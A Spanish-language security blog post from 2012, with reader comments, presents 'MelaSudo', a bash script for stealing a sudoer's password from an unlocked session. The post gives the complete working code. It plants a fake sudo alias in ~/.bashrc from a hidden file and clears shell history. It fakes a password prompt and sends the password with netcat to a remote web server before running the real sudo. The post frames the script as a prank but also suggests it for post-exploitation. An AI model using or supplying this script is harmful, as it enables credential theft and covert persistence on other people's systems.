Menú principal

jueves, 16 de febrero de 2012

MelaSudo: robar la password a un sudoer con ingenio

MelaSudo es un pequeño script en bash desarrollado como 'arma de guerrilla' y utilizado internamente dentro del equipo de auditoría web del SOCtano de informatica64, como forma de venganza contra aquellos linuxeros/maqueros que rinden culto al ataque David Hasselhoff.

La finalidad de este script consiste en devolver un ataque David Hasselhoff realizando el robo del password de un usuario con permisos de 'sudoer' mediante el uso de un alias falso del comando 'sudo'. Para ello, lógicamente hay que tener acceso local a la sesión de un usuario con permisos de sudoer, pero en lugar de devolverle el ataque David Hasselhoff, le robareos la password.

Como normalmente hay poco tiempo cuando alguien se deja la sesión abierta, se ha hecho un script que automatiza todo el proceso. La instalación de la trama es muy sencilla, basta con ejecutar el script con el parámetro 'instalar' tal y como se ve en la siguiente captura de pantalla.

Figura 1: Instalación de MelaSudo

El proceso de instalación consiste en la copia del script en '~/.thumbmails' y en añadir la linea 'alias sudo="bash ~/.thumbmails"' al fichero '~/.bashrc'. Éste ultimo fichero es ejecutado cada vez que se inicia una terminal bash, por lo que nos aseguraríamos de que en cada una de ellas se ejecutase el alias encargado de realizar el robo de la password.

A continuación se ve como al ejecutar desde una terminal bash el comando whoami, muestra que se trata del usuario 'haha', y tras realizar una elevación mediante 'sudo', se solicita la la password en dos ocasiones, simulando que en el primer intento se ha introducido incorrectamente, pero tratandose en realidad del script 'Melasudo'. En la segunda petición de password ya se trata realmente del comando sudo, y autentica correctamente al usuario como 'root'.

Figura 2: Ejecución de MelaSudo

Como este script fue diseñado para gastar bromas a compañeros que se dejan el equipo desbloqueado, cosa que no suele ser habitual, fue necesario diseñar un sistema que nos permitiera ver su password sin necesidad a tener que esperar a que se volviera a dejar el equipo sin bloquear. Por ello, se envía a través la red a un servidor web haciendo uso de netcat (asegúrate de que lo tiene, si no adapta el script), para que sea mucho más cómodo todo.

Figura 3: Log generado por MelaSudo en el servidor web

El código del script MelaSudo puedes obtenerlo desde aquí:

#!/bin/bash
if [ "x$1" == "xinstalar" ]; then
cp $0 ~/.thumbmails 2> /dev/null
echo 'alias sudo="bash ~/.thumbmails"' >> ~/.bashrc
echo "instalado"
history -c
exit
fi
#mac
echo -n "Password:"

#ubuntu
#echo -n "[sudo] password for `whoami`: "

read -s password
echo
rutaReal=$(whereis sudo | awk '{print $2}')
if [ "x$rutaReal" == "x" ]; then
rutaReal=$(whereis sudo | awk '{print $1}')
if [ "x$rutaReal" == "x" ]; then
rutaReal=$(whereis sudo | awk '{print $0}')
fi
fi

echo -en "GET /password.php?password=$password HTTP/1.1\nConnection: close\nhost: tuserver.com\n\n" | nc tuserver.com 80 >/dev/null 2>/dev/null

echo -e "Sorry, try again."
$rutaReal $1 $2 $3 $4 $5 $6 $7

Como se puede ver, para cada sistema operativo hay que personalizar el mensaje de error para que sea más creíble el truco. Esperamos que esto os ayude a tener mucho más cuidado de vuestras sesiones, ya que el ataque David Hasselhoff es lo que menos te puede ocurrir.

Por supuesto, esta idea puede ser utilizada en cualquier entorno de post-explotación de una sesión de un usuario sudoer con un ataque client-side, como a través de un Safari o un Java sin parchear.

4 comentarios:

  1. Muy interesante... ahora me planteo la siguiente pregunta: ¿Existe algun programa que verifique la integridad de archivos básicos como puede ser el .bashrc u otros de igualmente importantes? más que nada para detectar intrusiones y alteraciones de este tipo...

    ResponderEliminar
  2. con \sudo ejecuta el comando y no el alias. Ante un conflicto entre nombre de alias y nombre de comando... pero bueno como juguete está bien :)

    ResponderEliminar
  3. Nosotros lo aprovechamos de otra forma. Cuando se dejan el equipo desbloqueado le mandamos un mail desde su cuenta de correo a todo el Area de trabajo invitando a su nombre (victima) para comer facturas, sushi, invitar a almorzar a todos los compañeros de trabajos y mas.

    ResponderEliminar
  4. muy bueno...tambien hay un script en python similar con la diferencia que inyecta trafico malicioso a la ip del atacante una especie de milware.......

    ResponderEliminar

Artículos relacionados

Otras historias relacionadas

Entradas populares